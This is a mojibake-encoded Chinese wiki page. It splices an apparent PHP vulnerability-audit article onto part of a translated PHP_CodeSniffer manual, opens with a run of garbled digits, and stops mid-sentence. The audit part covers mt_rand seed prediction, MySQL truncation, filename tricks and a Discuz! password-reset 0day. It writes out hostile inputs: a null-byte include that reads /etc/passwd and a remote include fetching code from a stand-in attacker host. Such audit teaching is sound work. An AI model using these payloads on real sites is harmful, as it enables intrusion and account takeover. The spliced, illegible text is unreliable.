+M8pzpjwCrvVt3oobAaOr +0123456789101112131415161718192021222324252627282930313233343536373839404142434 +445464748495051525354555657585960616263646566676869 +7071727374757677787980818283848586878889909192939495969798991001011021031041051 +061071081091101111121131141151161171181191201211221 +2312412512612712812913013113213313413513613713813914014114214314414514614714814 +915015115215315415515615715815916016116216316416516 +6167168169170171172173174175176177178179180181182183184185186187188189190191192 +193194195196197198199200201202203204205206207208209 +2102112122132142152162172182192202212222232242252262272282292302312322332342352 +362372382392402412422432442452462472482492502512522 +..............01062110622106231062410625106261062710628106291063010631106321063 +3o +70693 +pjwCrvVt3oobAaOr + +</code> + +当10634次时候我们得到了结果。 + +当PHP版本到了5.2.1åŽï¼Œé€šè¿‡ä¿®æ”¹ç®—法修补了奇数和å¶æ•°çš„æ’­ç§ç›¸ç­‰çš„问题,这样也导致了php5.2.0å‰åŽå¯¼è‡´åŒä¸€ä¸ªæ’­ç§åŽçš„mt_rand()的值ä¸ä¸€æ ·ã€‚比如: + +<code> +<?php +mt_srand(42); +echo mt_rand(); +//php<=5.20 1387371436 +//php>5.20 1354439493 +?> + +</code> + +正是这个原因,也è¦æ±‚了我们的expçš„è¿è¡ŒçŽ¯å¢ƒï¼šå½“目标>5.20时候,我们expè¿è¡Œçš„环境也è¦æ˜¯>5.20的版本,å过æ¥ä¹Ÿæ˜¯ä¸€æ ·ã€‚ + +从上é¢çš„测试åŠåˆ†æžæ¥çœ‹ï¼Œphp<5.26ä¸ç®¡æœ‰æ²¡æœ‰å®šä¹‰æ’­ç§ï¼Œmt_rand处ç†çš„æ•°æ®éƒ½æ˜¯ä¸å®‰å…¨çš„。在web应用里很多都使用mt_randæ¥å¤„ç†éšæœºçš„session,比如密ç æ‰¾å›žåŠŸèƒ½ç­‰ç­‰ï¼Œè¿™æ ·çš„åŽæžœå°±æ˜¯è¢«æ”»å‡»è€…æ¶æ„利用直接修改密ç ã€‚ + +很多著å的程åºéƒ½äº§ç”Ÿäº†ç±»ä¼¼çš„æ¼æ´žå¦‚wordpressã€phpbbã€punbb等等。(在åŽé¢æˆ‘们将实际分æžä¸‹å›½å†…è‘—åçš„bbs程åºDiscuz!çš„mt_srand导致的æ¼æ´žï¼‰ + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:php4 php5<5.2.6 + +系统è¦æ±‚:无 + +审计策略:查找mt_srand/mt_rand + +===== 特殊字符 ===== +其实“特殊字符â€ä¹Ÿæ²¡æœ‰ç‰¹å®šçš„标准定义,主è¦æ˜¯åœ¨ä¸€äº›code hackingå‘挥ç€ç‰¹æ®Šé‡ä½œç”¨çš„一类字符。下é¢å°±ä¸¾å‡ ä¸ªä¾‹å­ï¼š + +==== 截断 ==== +其中最有å的数大家都熟悉的null字符截断。 + +=== include截断 === +<code> +<?php +include $_GET['action'].".php"; +?> + +</code> + +æ交“action=/etc/passwd%00â€ä¸­çš„“%00â€å°†æˆªæ–­åŽé¢çš„“.phpâ€ï¼Œä½†æ˜¯é™¤äº†â€œ%00â€è¿˜æœ‰æ²¡æœ‰å…¶ä»–的字符å¯ä»¥å®žçŽ°æˆªæ–­ä½¿ç”¨å‘¢ï¼Ÿè‚¯å®šæœ‰äººæƒ³åˆ°äº†è¿œç¨‹åŒ…å«çš„url里问å·â€œ?â€çš„作用,通过æ交“action=`http://www.hacksite.com/evil-code.txt`?â€è¿™é‡Œâ€œ?â€å®žçŽ°äº†â€œä¼ªæˆªæ–­â€ï¼šï¼‰ï¼Œå¥½è±¡è¿™ä¸ªçœ‹ä¸ŠåŽ»ä¸æ˜¯é‚£ä¹ˆèˆ’æœé‚£ä¹ˆæˆ‘们简å•å†™ä¸ªä»£ç fuzz一下: + + +<code> +<?php +//////////////////// +////var5.php代ç : +////include $_GET['action'].".php"; +////print strlen(realpath("./"))+strlen($_GET['action']); +/////////////////// +ini_set('max_execution_time', 0); +$str=''; +for($i=0;$i<50000;$i++) +{ + $str=$str."/"; + + $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str); + //1.txt里的代ç ä¸ºprint 'hi'; + if (strpos($resp, 'hi') !== false){ + print $i; + exit; + } +} +?> + +</code> + +ç»è¿‡æµ‹è¯•å­—符“.â€ã€â€œ /â€æˆ–者2个字符的组åˆï¼Œåœ¨ä¸€å®šçš„长度时将被截断,win系统和`*`nix的系统长度ä¸ä¸€æ ·ï¼Œå½“win下strlen(realpath("./"))+strlen($`_`GET`['action']`)的长度大于256时被截断,对于`*`nix的长度是4 `*` 1024 = 4096。对于php.ini里设置远程文件关闭的时候就å¯ä»¥åˆ©ç”¨ä¸Šé¢çš„技巧包å«æœ¬åœ°æ–‡ä»¶äº†ã€‚(此æ¼æ´žç”±cloie#ph4nt0m.org最先å‘现]) + + +=== æ•°æ®æˆªæ–­ === +对于很多web应用文件在很多功能是ä¸å®¹è®¸é‡å¤æ•°æ®çš„,比如用户注册功能等。一般的应用程åºå¯¹äºŽæ交注册的username和数æ®åº“里已有的username对比是ä¸æ˜¯å·²ç»æœ‰é‡å¤æ•°æ®ï¼Œç„¶è€Œæˆ‘们å¯ä»¥é€šè¿‡â€œæ•°æ®æˆªæ–­â€ç­‰æ¥é¥¶è¿‡è¿™äº›åˆ¤æ–­ï¼Œæ•°æ®åº“在处ç†æ—¶å€™äº§ç”Ÿæˆªæ–­å¯¼è‡´æ’å…¥é‡å¤æ•°æ®ã€‚ + + - Mysql SQL Column Truncation Vulnerabilities + +这个æ¼æ´žåˆæ˜¯å¤§ç‰›Stefan Esserå‘现的(Stefan Esser是我的å¶åƒ:)),这个是由于mysqlçš„sql_mode设置为default的时候,å³æ²¡æœ‰å¼€å¯STRICT_ALL_TABLES选项时,MySQL对于æ’入超长的值åªä¼šæ示warning,而ä¸æ˜¯error(如果是errorå°±æ’å…¥ä¸æˆåŠŸï¼‰ï¼Œè¿™æ ·å¯èƒ½ä¼šå¯¼è‡´ä¸€äº›æˆªæ–­é—®é¢˜ã€‚测试如下: + +<code> +mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); + +mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass"); +Query OK, 1 row affected, 1 warning (0.01 sec) + +mysql> select * from truncated_test; ++----+------------+----------+ +| id | username | password | ++----+------------+----------+ +| 1 | admin | pass | +| 2 | admin | new_pass | ++----+------------+----------+ +2 rows in set (0.00 sec) + +</code> + + - Mysql charset Truncation vulnerability + +这个æ¼æ´žæ˜¯80secå‘现的,当mysql进行数æ®å­˜å‚¨å¤„ç†utf8等数æ®æ—¶å¯¹æŸäº›å­—符导致数æ®æˆªæ–­ã€‚测试如下: + +<code> +mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); +Query OK, 1 row affected, 1 warning (0.00 sec) + +mysql> select * from truncated_test; ++----+------------+----------+ +| id | username | password | ++----+------------+----------+ +| 1 | admin | pass | +| 2 | admin | new_pass | +| 3 | admin | new_pass2 | ++----+------------+----------+ +2 rows in set (0.00 sec) + +</code> + +很多的web应用程åºæ²¡æœ‰è€ƒè™‘到这些问题,åªæ˜¯åœ¨æ•°æ®å­˜å‚¨å‰ç®€å•æŸ¥è¯¢æ•°æ®æ˜¯å¦åŒ…å«ç›¸åŒæ•°æ®ï¼Œå¦‚下代ç ï¼š + +<code> +$result = mysql_query("SELECT * from test_user where user='$user' "); + .... +if(@mysql_fetch_array($result, MYSQL_NUM)) { + die("already exist"); +} + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找mt_srand/mt_rand + +=== 文件æ“作里的特殊字符 === +文件æ“作里有很多特殊的字符,å‘挥特别的作用,很多web应用程åºæ²¡æœ‰æ³¨æ„处ç†è¿™äº›å­—符而导致安全问题。比如很多人都知é“çš„windows系统文件å对“空格â€å’Œâ€œ.â€ç­‰çš„忽视,这个主è¦ä½“现在上传文件或者写文件上,导致直接写webshell。å¦å¤–对于windows系统对“.\..\â€è¿›è¡Œç³»ç»Ÿè½¬è·³ç­‰ç­‰ã€‚ + + +下é¢è¿˜ç»™å¤§å®¶ä»‹ç»ä¸€ä¸ªéžå¸¸æœ‰æ„æ€çš„问题: + + +<code> +//Is this code vul? +if( eregi(".php",$url) ){ + die("ERR"); +} +$fileurl=str_replace($webdb[www_url],"",$url); +..... +header('Content-Disposition: attachment; filename='.$filename); + +</code> + +很多人看出æ¥äº†ä¸Šé¢çš„代ç çš„问题,程åºé¦–å…ˆç¦æ­¢ä½¿ç”¨â€œ.phpâ€åŽç¼€ã€‚但是下é¢å±…然接了个str_replace替æ¢$webdb[www_url]为空,那么我们æ交“.p$webdb[www_url]hpâ€å°±å¯ä»¥é¥¶è¿‡äº†ã€‚那么上é¢çš„代ç æ‚fix呢?有人给出了如下代ç ï¼š + + +<code> +$fileurl=str_replace($webdb[www_url],"",$url); +if( eregi(".php",$url) ){ + die("ERR"); +} + +</code> + +str_replaceæ到å‰é¢äº†ï¼Œå¾ˆå®Œç¾Žçš„解决了str_replace代ç çš„安全问题,但是问题ä¸æ˜¯é‚£ä¹ˆç®€å•ï¼Œä¸Šé¢çš„代ç åœ¨æŸäº›ç³»ç»Ÿä¸Šä¸€æ ·å¯ä»¥çªç ´ã€‚接下æ¥æˆ‘们先看看下é¢çš„代ç ï¼š + + +<code> +<?php +for($i=0;$i<255;$i++) { + $url = '1.ph'.chr($i); + $tmp = @file_get_contents($url); + if(!empty($tmp)) echo chr($i)."\r\n"; +} +?> + +</code> + +我们在windows系统è¿è¡Œä¸Šé¢çš„代ç å¾—到如下字符`*` < > ? P p都å¯ä»¥æ‰“开目录下的1.php。 + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:文读å–件æ“作函数 + +====== 怎么进一步寻找新的字典 ====== +上é¢æˆ‘们列举很多的字典,但是很多都是已ç»å…¬å¼€è¿‡çš„æ¼æ´žæˆ–者方å¼ï¼Œé‚£ä¹ˆæˆ‘们怎么进一步找到新的字典或者利用方å¼å‘¢ï¼Ÿ + +分æžå’Œå­¦ä¹ åˆ«äººå‘现的æ¼æ´žæˆ–者exp,总结出æ¼æ´žç±»åž‹åŠå­—å…¸ +通过学习php手册或者官方文档,挖掘出新的有å±å®³çš„å‡½æ•°æˆ–è€…åˆ©ç”¨æ–¹å¼ +fuzz php的函数,找到新的有问题的函数(ä¸ä¸€å®šéžè¦æº¢å‡ºçš„),如上一章的4.6的部分很多都å¯ä»¥ç®€å•çš„fuzz脚本å¯ä»¥æµ‹è¯•å‡ºæ¥ +分æžphpæºä»£ç ï¼Œå‘现新的æ¼æ´žå‡½æ•°â€œç‰¹æ€§â€æˆ–者æ¼æ´žã€‚(在上一节里介ç»çš„那些“æ¼æ´žå®¡è®¡ç­–ç•¥â€é‡Œï¼Œéƒ½æ²¡æœ‰phpæºä»£ç çš„分æžï¼Œå¦‚果你è¦è¿›ä¸€æ­¥æ‰¾åˆ°æ–°çš„字典,å¯ä»¥åœ¨phpæºä»£ç çš„基础上分æžä¸‹æˆå› ï¼Œç„¶åŽæ ¹æ®è¿™ä¸ªæˆå› æ¥åˆ†æžå¯»æ‰¾æ–°çš„æ¼æ´žå‡½æ•°â€œç‰¹æ€§â€æˆ–者æ¼æ´žã€‚)(我们以åŽä¼šé™†ç»­å…¬å¸ƒä¸€äº›æˆ‘们对phpæºä»£ç çš„分æžï¼‰ +有æ¡ä»¶æˆ–者机会和开å‘者学习,找到他们实现æŸäº›å¸¸ç”¨åŠŸèƒ½çš„代ç çš„缺陷或者容易忽视的问题 +你有什么è¦è¡¥å……çš„å—? :) +====== DEMO ====== + +Tabulka: **DEMO** + +|*DEMO -- Discuz! Reset User Password 0day Vulnerability 分æž<br>(Exp:[http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt])*| +|PHP版本è¦æ±‚:php4 php5<5.2.6<br>系统è¦æ±‚: æ— <br>审计策略:查找mt_srand/mt_rand| +第一步 安装Discuz! 6.1åŽåˆ©ç”¨grep查找mt_srand得到: + + +<code> +heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 +./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); +./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; +./include/global.func.php-696-} +./include/global.func.php-697- +./include/global.func.php-698-function random($length, $numeric = 0) { +./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); +./include/global.func.php-700- if($numeric) { +./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); +./include/global.func.php-702- } else { +./include/global.func.php-703- $hash = ''; +./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; +-- +./include/discuzcode.func.php-30- +./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { +./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; +./include/discuzcode.func.php-33-} +./include/discuzcode.func.php-34- +./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); +./include/discuzcode.func.php-36- +./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { +./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; +./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid]; +./include/discuzcode.func.php-40- if($attach['attachimg']) { + +</code> + +有两个文件用到了mt_srand(),第1是在./include/global.func.phpçš„éšæœºå‡½æ•°random()里: + + +<code> +PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); + +</code> + +判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播ç§ã€‚从上一章里的分æžæˆ‘们å¯ä»¥çœ‹å¾—出æ¥ï¼Œä½¿ç”¨php本身默认的播ç§çš„分程åºä¸¤ç§æƒ…况: + + + - 'Cross Application Attacks' 这个æ€è·¯æ˜¯åªè¦ç›®æ ‡ä¸Šæœ‰ä½¿ç”¨ä½¿ç”¨çš„程åºé‡Œå®šä¹‰äº†ç±»ä¼¼mt_srand((double)microtime() `*` 1000000)çš„æ’­ç§çš„è¯ï¼Œåˆå¾ˆæœ‰å¯èƒ½è¢«æš´åŠ›ã€‚在dz这里ä¸éœ€è¦Cross Application,因为他本身有文件就定义了,就是上é¢çš„第2个文件: + +<code> +./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); + +</code> + +这里我们肯定dz是存在这个æ¼æ´žçš„,文章给出æ¥çš„exp也就是基于这个的。(具体exp利用的æµç¨‹æœ‰å…´è¶£çš„å¯ä»¥è‡ªå·±åˆ†æžä¸‹]) + + - 有的人认为如果没有mt_srand((double)microtime() `*` 1000000);这里的定义,那么dzå°±ä¸å­˜åœ¨æ¼æ´žï¼Œè¿™ä¸ªæ˜¯ä¸æ­£ç¡®çš„。首先你ä¸å¯ä»¥ä¿è¯åˆ«äººä½¿ç”¨çš„其他应用程åºæ²¡æœ‰å®šä¹‰ï¼Œå†æ¬¡ä¸åˆ©ç”¨'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播ç§çš„算法也ä¸æ˜¯å¾ˆå¼ºæ‚(分æžè¯¦è§ä¸Šï¼‰ï¼Œä¹Ÿæ˜¯æœ‰å¯ä»¥æš´åŠ›å‡ºæ¥ï¼Œåªæ˜¯é€Ÿåº¦è¦æ…¢ä¸€ç‚¹ã€‚ +====== åŽè¯ ====== +本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了ä¸å°‘æ–°å‘现。å¦å¤–需è¦æ„Ÿè°¢çš„是文章里æ到的那些æ¼æ´žçš„å‘现者,没有他们的æˆæžœä¹Ÿå°±æ²¡æœ‰æœ¬æ–‡ã€‚本文没有写“å‚考â€ï¼Œå› ä¸ºæœ¬æ–‡æ˜¯ä¸€ä¸ªæ€»ç»“性的文挡,有太多的连接需è¦æä¾›é™äºŽç¯‡å¹…就没有一一列举,有心的读者å¯ä»¥è‡ªè¡Œgoogle。å¦å¤–原本没有打算公布此文,因为里é¢åŒ…å«äº†å¤ªå¤šåº”用程åºçš„0day,而且有太多的ä¸å°Šé‡åˆ«äººæˆæžœçš„人,è€æ˜¯åˆ©ç”¨ä»Žåˆ«äººé‚£å­¦åˆ°çš„技术æ¥ç‚«è€€ï¼Œç”šè‡³ç‰Ÿå–利益。在这里我们希望你å¯ä»¥åœ¨æœ¬æ–‡é‡Œå­¦åˆ°äº›ä¸œè¥¿ï¼Œæ›´åŠ å¸Œæœ›å¦‚果通过本文你找到了æŸäº›åº”用程åºçš„0day,请低调处ç†ï¼Œæˆ–者直接æ交给官方修补,谢谢大家ï¼ï¼ + +http://www.php-security.org/ +http://bugs.php.net/bug.php?id=40114 +====== ä»‹ç» ====== +ä½œè€…ä»‹ç» +作者:Greg Sherwood + + +è”系: +**在线è”ç³»** + +网站: +**http://gregsherwood.blogspot.com/** + +文章出处: +**http://pear.php.net/package/PHP_CodeSniffer/docs** + +最åŽæ›´æ–°ï¼š2010-07-18 + + +è¯‘è€…ä»‹ç» +MoXie(moxie@zoeey.org), +**http://zoeey.org**. + +æè¿° +PHP_CodeSniffer 是一个基于PHP5的代ç é™æ€åˆ†æžå·¥å…·ã€‚支æŒå¯¹ PHPã€JavaScript å’Œ CSS 文件的代ç è§„范检测,在代ç è´¨é‡æŽ§åˆ¶ä¸­å……当ç€é‡è¦çš„角色。它甚至å¯ä»¥å¸®ä½ æ£€æµ‹å‡ºè¯­ä¹‰ä¸Šçš„错误。 + + +在 PHP_CodeSniffer 中,代ç è§„范由一系列 +sniff + 文件组æˆã€‚å„个 +sniff + 负责定义ä¸åŒéƒ¨åˆ†çš„代ç è§„范。支æŒå¤šç§ä»£ç è§„范,å¯åŒæ—¶ä»¥ä¸åŒè§„范检测多个工程。其默认使用的规范为 +PEAR + 。 + + +安装 + ;Pear æ–¹å¼å®‰è£… : <code> +$ pear install PHP_CodeSniffer +</code> + + ;下载安装 : 打开 +**http://pear.php.net/package/PHP_CodeSniffer/** 查看 Current Release项。建议下载最新stable版本(本文翻译测试使用:1.2.2)。 + +下载解压åŽå°†phpcs(phpcs.bat)的目录加入PATHå³å¯ã€‚ + + +范例 +使用 +PEAR + 的代ç è§„范检测å•ä¸ªæ–‡ä»¶ï¼š + + +<code> +// Checking a file with PHP_CodeSniffer + +$ phpcs /path/to/code/myfile.php + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AFFECTING 2 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + 51 | ERROR | Missing function doc comment + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 +-------------------------------------------------------------------------------- +</code> + +检查目录下的所有文件: + + +<code> +// Checking a directory with PHP_CodeSniffer + + +$ phpcs /path/to/code + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AFFECTING 5 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + 51 | ERROR | Missing function doc comment + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 +-------------------------------------------------------------------------------- + +FILE: /path/to/code/yourfile.php +-------------------------------------------------------------------------------- +FOUND 1 ERROR(S) AND 1 WARNING(S) AFFECTING 1 LINE(S) +-------------------------------------------------------------------------------- + 21 | ERROR | PHP keywords must be lowercase; expected "false" but found + | | "FALSE" + 21 | WARNING | Equals sign not aligned with surrounding assignments +-------------------------------------------------------------------------------- +</code> + +====== 准备工具 ====== +你所需è¦å‡†å¤‡çš„工具。 + +PHP_CodeSniffer +PHP_CodeSniffer éœ€è¦ 5.1.2 或更高版本的支æŒã€‚ + +== Poznámka: == +个别特殊 +sniff + 文件å¯èƒ½éœ€è¦å…¶ä»–脚本或应用程åºçš„支æŒã€‚ 具体情况请å‚阅 +**查看é…ç½®**选项章节。 + +SVN pre-commit hook +为了识别“垂直空白字符†+原文为:vertical whitespace characterï¼Œå³ "\v"。 + +ï¼Œéœ€è¦ PHP 5.2.4 以上支æŒã€‚ + +====== 使用 ====== +基本使用说明 + +获å–å‘½ä»¤è¡Œå¸®åŠ©ä¿¡æ¯ +使用 +-h + 或 +--help + 选项å¯ä»¥èŽ·å– +phpcs + 所有选项å‚数的说明: + +<code> +Usage: phpcs [-nwlsavi] [--extensions=<extensions>] [--ignore=<patterns>] + [--report=<report>] [--report-width=<reportWidth>] [--report-file=<reportfile>] + [--severity=<severity>] [--error-severity=<severity>] [--warning-severity=<severity>] + [--config-set key value] [--config-delete key] [--config-show] + [--standard=<standard>] [--sniffs=<sniffs>] + [--generator=<generator>] [--tab-width=<tabWidth>] <file> ... + -n Do not print warnings (shortcut for --warning-severity=0) + -w Print both warnings and errors (on by default) + -l Local directory only, no recursion + -s Show sniff codes in all reports + -a Run interactively + -v[v][v] Print verbose output + -i Show a list of installed coding standards + --help Print this help message + --version Print version information + <file> One or more files and/or directories to check + <extensions> A comma separated list of file extensions to check + (only valid if checking a directory) + <patterns> A comma separated list of patterns that are used + to ignore directories and files + <sniffs> A comma separated list of sniff codes to limit the check to + (all sniffs must be part of the specified standard) + <severity> The minimum severity that an error or warning must have + for it to be displayed. + <standard> The name of the coding standard to use + <tabWidth> The number of spaces each tab represents + <generator> The name of a doc generator to use + (forces doc generation instead of checking) + <report> Print either the "full", "xml", "checkstyle", + "csv", "emacs", "source", "summary", + "svnblame" or "gitblame" report + (the "full" report is printed by default) + <reportWidth> How many columns wide screen reports should be printed + <reportfile> Write the report to the specified file path + (report is also written to screen) + + +</code> + +== Poznámka: == +如果你安装了多个代ç è§„范,å¯ä»¥é€šè¿‡ +--standard + 选项æ¥è®¾ç½®å½“å‰éœ€è¦ä½¿ç”¨çš„。如果你没有设定此选项,默认将使用 +PEAR + 代ç è§„范,或者你设置的其他默认规范。查看如何 +**设置默认代ç è§„范**。 + +检测文件或目录 +最简å•çš„æ–¹å¼æ˜¯ç›´æŽ¥å°†éœ€è¦æ£€æµ‹çš„文件路径放在å‚数中。如果æ供的是一个文件目录,PHP_CodeSniffer 将会检测包括å­ç›®å½•ä¸‹çš„所有文件。 + + +== Poznámka: == +在检测目录时如果你ä¸éœ€è¦å¯¹å­ç›®å½•è¿›è¡Œæ£€æµ‹ï¼Œå¯ä»¥ä½¿ç”¨ + -l +选项。 + +在下é¢çš„例å­ä¸­ç¬¬ä¸€è¡Œå‘½ä»¤è¡¨è¿°å¦‚何检测 +myfile.inc + 文件,第二行则表示如何检测 +my_dir + 目录。 + + +<code> +Checking a single file or folder + + +$ phpcs /path/to/code/myfile.inc +$ phpcs /path/to/code/my_dir + +</code> + +你也å¯ä»¥åŒæ—¶æ£€æµ‹å¤šä¸ªæ–‡ä»¶æˆ–目录。下é¢çš„例å­è¡¨è¿°äº†å¦‚何åŒæ—¶æ£€æµ‹ +myfile.inc + 文件和 +my_dir + 目录。 + + +<code> +Checking multiple files and folders + + +$ phpcs /path/to/code/myfile.inc /path/to/code/my_dir +</code> + +PHP_CodeSniffer在检测完毕时会打å°å‡ºä¸€ä»½è­¦å‘Šå’Œé”™è¯¯æŠ¥å‘Šï¼Œæ±‡æŠ¥å½“å‰æ–‡ä»¶å¯¹æŒ‡å®šä»£ç è§„范的执行情况。示例报告如下: + + +<code> +Sample PHP_CodeSniffer output + + +$ phpcs /path/to/code/myfile.php + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AND 1 WARNING(S) AFFECTING 5 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found + | | "FALSE" + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + 47 | WARNING | Equals sign not aligned with surrounding assignments + 51 | ERROR | Missing function doc comment + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 +-------------------------------------------------------------------------------- +</code> + +ä½ å¯ä»¥ä½¿ç”¨ +-n + 选项æ¥åŽ»é™¤ +WARNING + çš„æ¡ç›®ã€‚ + + +<code> +Sample PHP_CodeSniffer output with no warnings + + +$ phpcs -n /path/to/code/myfile.php + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AFFECTING 5 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + 51 | ERROR | Missing function doc comment + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 +-------------------------------------------------------------------------------- +</code> + +打å°æ‘˜è¦æŠ¥å‘Š +PHP_CodeSniffer 默认会将所有检测出的警告和错误打å°å‡ºæ¥ã€‚很多时候一个文件就éžå¸¸çš„冗长,尤其是在åŒæ—¶æ£€æµ‹å¤šä¸ªæ–‡ä»¶æ—¶è¿™ä¸ªæ–‡ä»¶å°†æ›´ä¸ºçªå‡ºã€‚ä½ å¯ä»¥ä½¿ç”¨ +--report=summary + 选项æ¥æ‰“å°å‡ºå„个文件å警告和错误个数。示例报告如下: + + +<code> +Sample PHP_CodeSniffer summary output + + +$ phpcs --report=summary /path/to/code + +PHP CODE SNIFFER REPORT SUMMARY +-------------------------------------------------------------------------------- +FILE ERRORS WARNINGS +-------------------------------------------------------------------------------- +/path/to/code/myfile.inc 5 0 +/path/to/code/yourfile.inc 1 1 +/path/to/code/ourfile.inc 0 2 +-------------------------------------------------------------------------------- +A TOTAL OF 6 ERROR(S) AND 3 WARNING(S) WERE FOUND IN 3 FILE(S) +-------------------------------------------------------------------------------- +</code> + +åŒæ—¶å¯ä»¥ä½¿ç”¨ +-n + 选项æ¥å‰”除警告。 + + +<code> +Sample PHP_CodeSniffer summary output with no warnings + + +$ phpcs -n --report=summary /path/to/code + +PHP CODE SNIFFER REPORT SUMMARY +-------------------------------------------------------------------------------- +FILE ERRORS +-------------------------------------------------------------------------------- +/path/to/code/myfile.inc 5 +/path/to/code/yourfile.inc 1 +-------------------------------------------------------------------------------- +A TOTAL OF 6 ERROR(S) WERE FOUND IN 2 FILE(S) +-------------------------------------------------------------------------------- +</code> + +输出详细 +PHP_CodeSniffer 默认使用é™é»˜æ¨¡å¼æ¥æ‰§è¡Œå‘½ä»¤ï¼Œåªæœ‰åœ¨æ‰§è¡Œç»“æŸæ—¶æ‰æ‰“å°è­¦å‘Šå’Œé”™è¯¯æŠ¥å‘Šã€‚ 在检测大é‡æ–‡ä»¶æ—¶ï¼Œä½ å¾—等候很长时间æ‰èƒ½çœ‹åˆ°æœ€ç»ˆçš„检测è§æŠ¥å‘Šã€‚这时如果你想观察程åºæ­£åœ¨æ£€æµ‹ä»€ä¹ˆå†…容,å¯ä»¥ä½¿ç”¨ +-v + 选项æ¥å¼€å¯è¯¦ç»†æ¨¡å¼ã€‚ + + +详细模å¼å¼€å¯æ—¶PHP_CodeSniffer会将当å‰æ£€æµ‹çš„的文件åã€tokenæ•°é‡å’Œä»£ç è¡Œæ•°é€ä¸€æŠ¥å‘Šå‡ºæ¥ã€‚示例输出如下: + + +<code> +Sample PHP_CodeSniffer verbose output + + +$ phpcs /path/to/code/CodeSniffer -v +Registering sniffs in PEAR standard... DONE (24 sniffs registered) +Processing AbstractDocElement.php [1093 tokens in 303 lines]... DONE in < 1 second (0 errors, 1 warnings) +Processing AbstractParser.php [2360 tokens in 558 lines]... DONE in 2 seconds (0 errors, 1 warnings) +Processing ClassCommentParser.php [923 tokens in 296 lines]... DONE in < 1 second (2 errors, 0 warnings) +Processing CommentElement.php [988 tokens in 218 lines]... DONE in < 1 second (1 error, 5 warnings) +Processing FunctionCommentParser.php [525 tokens in 184 lines]... DONE in 1 second (0 errors, 6 warnings) +Processing File.php [10968 tokens in 1805 lines]... DONE in 5 seconds (0 errors, 5 warnings) +Processing Sniff.php [133 tokens in 94 lines]... DONE in < 1 second (0 errors, 0 warnings) +Processing SniffException.php [47 tokens in 36 lines]... DONE in < 1 second (1 errors, 3 warnings) +</code> + +指定代ç è§„范 +PHP_CodeSniffer 支æŒå¤šç§ä»£ç è§„范,在检测过程中å¯ä»¥ä½¿ç”¨ +--standard + 选项æ¥æŒ‡å®šã€‚ + + +下é¢çš„是示例表述了如何使用 PEAR代ç è§„范 +PEAR代ç è§„范是默认安装的。 + +æ¥æ£€æµ‹ +myfile.inc + 文件。 + + +<code> +Specifying a coding standard to use + + + +$ phpcs --standard=PEAR /path/to/code/myfile.inc +</code> + +== Poznámka: == +使用PHP_CodeSniffer规范目录 +规范目录为 PEAR/PHP/CodeSniffer/Standards。 + +以外的规范,你å¯ä»¥ç›´æŽ¥æŒ‡å®šè§„范的目录。 + +<code> + + +Specifying an external coding standard + + + +$ phpcs --standard=/path/to/MyStandard /path/to/code/myfile.inc + +</code> + +获å–已安装的代ç è§„范列表 +使用 -i 选项å¯ä»¥æ‰“å°å‡º PHP_CodeSniffer 当å‰å®‰è£…的代ç è§„范列表。示例如下: + +<code> +Generating a list of installed coding standards + + +$ phpcs -i +The installed coding standards are Zend, PEAR, PHPCS, Squiz and MySource +</code> + +====== 高级使用 ====== +指定文件扩展å +PHP_CodeSniffer 